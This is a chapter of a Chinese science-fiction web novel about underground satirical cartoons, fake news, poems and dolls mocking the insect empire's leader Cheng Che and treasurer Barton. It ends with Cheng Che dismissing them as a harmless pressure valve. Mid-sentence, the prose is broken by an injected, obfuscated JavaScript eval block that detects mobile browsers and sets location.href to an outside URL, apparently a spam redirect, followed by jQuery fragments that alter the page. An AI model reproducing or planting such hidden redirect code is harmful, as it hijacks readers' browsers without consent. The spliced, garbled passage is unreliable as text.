程澈的“傲慢”与财政官巴顿的“贪婪”，如同两颗散发着不祥光芒的双子星，牢牢烙印在虫族霸权疆域内所有附属文明的集体意识中。这种官方层面的、冰冷而强大的形象，固然充满了威慑力，但也催生了来自民间、尤其是那些不甘屈服、或天性中带着叛逆因子的“好事分子”们的、极具生命力的 “二创” 文化。这些创作，如同生长在巨石缝隙间的苔藓，在高压统治的阴影下，以一种扭曲、戏谑而又带着尖锐讽刺的方式，悄然蔓延。
这些“二创”作品，大多通过隐秘的星际黑市网络、加密的独立信息节点，或是伪装成无害娱乐内容的数据包进行传播。其形式五花八门，充满了各个种族的独特想象力。
最为流行的，是各种讽刺漫画与恶搞影像。
在其中一幅广为流传的漫画中，程澈被描绘成一个端坐在由无数附属文明残骸堆砌而成的王座上的巨大阴影，阴影的面容模糊，只有一双充满漠然与俯瞰意味的眼睛，手中把玩着的不是权杖，而是一个精致的、正在滴落着金色“源点”货币的沙漏，象征着时间的流逝即是财富的积累。标题往往是：《时间的窃贼》或《天命计价器》。
而巴顿的形象则更加“亲民”和具象化。他被普遍描绘成一个肚满肠肥、穿着缀满“源点”符号华丽长袍的虫族（往往刻意夸张其口器与复眼，显得尤为猥琐），腋下夹着厚厚的账本，一只手数着钱，另一只手则伸长变成无数条触须，正在各个星球的资源仓库里疯狂掏摸。旁边通常配着文字：“您的就是我的，我的还是我的。” 或者 “贷款？可以！请用你的母星抵押。”
还有一些动态影像，将程澈和巴顿编排进各种荒诞的“星际新闻”里。例如，一则伪新闻播报称：“首席引导者程澈阁下今日宣布，‘呼吸税’将于下个周期正式开征，所有附属文明需按个体生物质量缴纳相应‘源点’，以感谢虫族提供的洁净宇宙环境。” 画面切到巴顿，他正拿着一个巨大的抽气泵，对着一个可怜的、瑟瑟发抖的毛茸茸外星生物，笑眯眯地说：“别担心，我们会根据你呼出的二氧化碳含量，给你打个九九折。”
其次，是带有强烈反抗隐喻的民间故事与诗歌。
在一些文化悠久的种族中，流传着关于“沉默引路人”与“噬金兽”的寓言。“沉默引路人”（影射程澈）总是以光辉的形象出现，指引迷途者方向，但当迷途者跟随他到达终点时，却发现那里只有一个巨大的、不断吞噬一切财富的“噬金兽”（影射巴顿）的血盆大口。故事告诫族人，不要被表面的光辉所迷惑。
还有诗人创作了隐晦的诗歌，在星际流浪者中传唱：
“星河流转，王座高悬/ 漠然的眼，衡量众生命运的砝码 / 金色的沙，自指缝滑落 / 那是我们被标价的灵魂 / 与永无止境的贡赋……”
“阴影中伸来的触手/ 带着算盘的脆响与契约的芬芳 / 它攫取矿脉，吮吸能量 / 将文明的脊梁，化作账簿上一行冰冷的数字……”
更有些大胆的，甚至开发了相关的“周边”与“梗”。
某种擅长雕刻的种族，会偷偷制作程澈和巴顿的小型滑稽玩偶，程澈的玩偶被做成一个总是抬着下巴、眼神朝天的傲慢样子，而巴顿的玩偶则抱着一枚比它还大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837811|191277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的“源点”硬币，流着口水。这些玩偶在黑市上颇受欢迎，成为了一种无声的抗议符号。
在加密的交流网络中，“今天你‘被源点’了吗？”成了一句流行的问候语，充满了自嘲与无奈。“巴顿式微笑”则特指那种表面热情、实则算计满满的虚伪笑容。
这些“二创”作品，虽然无法动摇虫族的统治根基，甚至大部分虫族民众根本接触不到，但它们如同地下潜流，在附属文明的民间形成了一种独特的文化共鸣。它们是对官方叙事的解构，是对压迫者形象的祛魅，也是一种在无力改变现实下的、苦涩的精神慰藉与反抗姿态。
偶尔，这些信息碎片也会被熵的监控网络捕捉到。珀斯会谨慎地将一些具有代表性的作品呈递给程澈。
程澈浏览着那些将他描绘成“时间窃贼”的漫画，或是听着那讽刺“呼吸税”的伪新闻，脸上并没有露出被冒犯的怒意，反而闪过一丝难以捉摸的笑意。
“看来，我们的形象塑造得很成功。”他对珀斯说道，语气平静，“傲慢与贪婪，总比软弱与无能要好。”
他顿了顿，补充道：“只要他们还在用这种戏谑的方式表达不满，而不是拿起武器，就说明我们的统治，依然稳固。恐惧与怨恨，也是维系秩序的一种纽带。”
持火者，早已超越了在意毁誉的阶段。他甚至乐于看到这种被严格限制在文化层面的、无伤大雅的“二创”。这既能充当附属文明宣泄情绪的泄压阀，又能反衬出虫族官方形象的不可撼动。在他眼中，这些“好事分子”的戏谑与讽刺，不过是霸权王座之下，几声微不足道的、遥远的虫鸣罢了。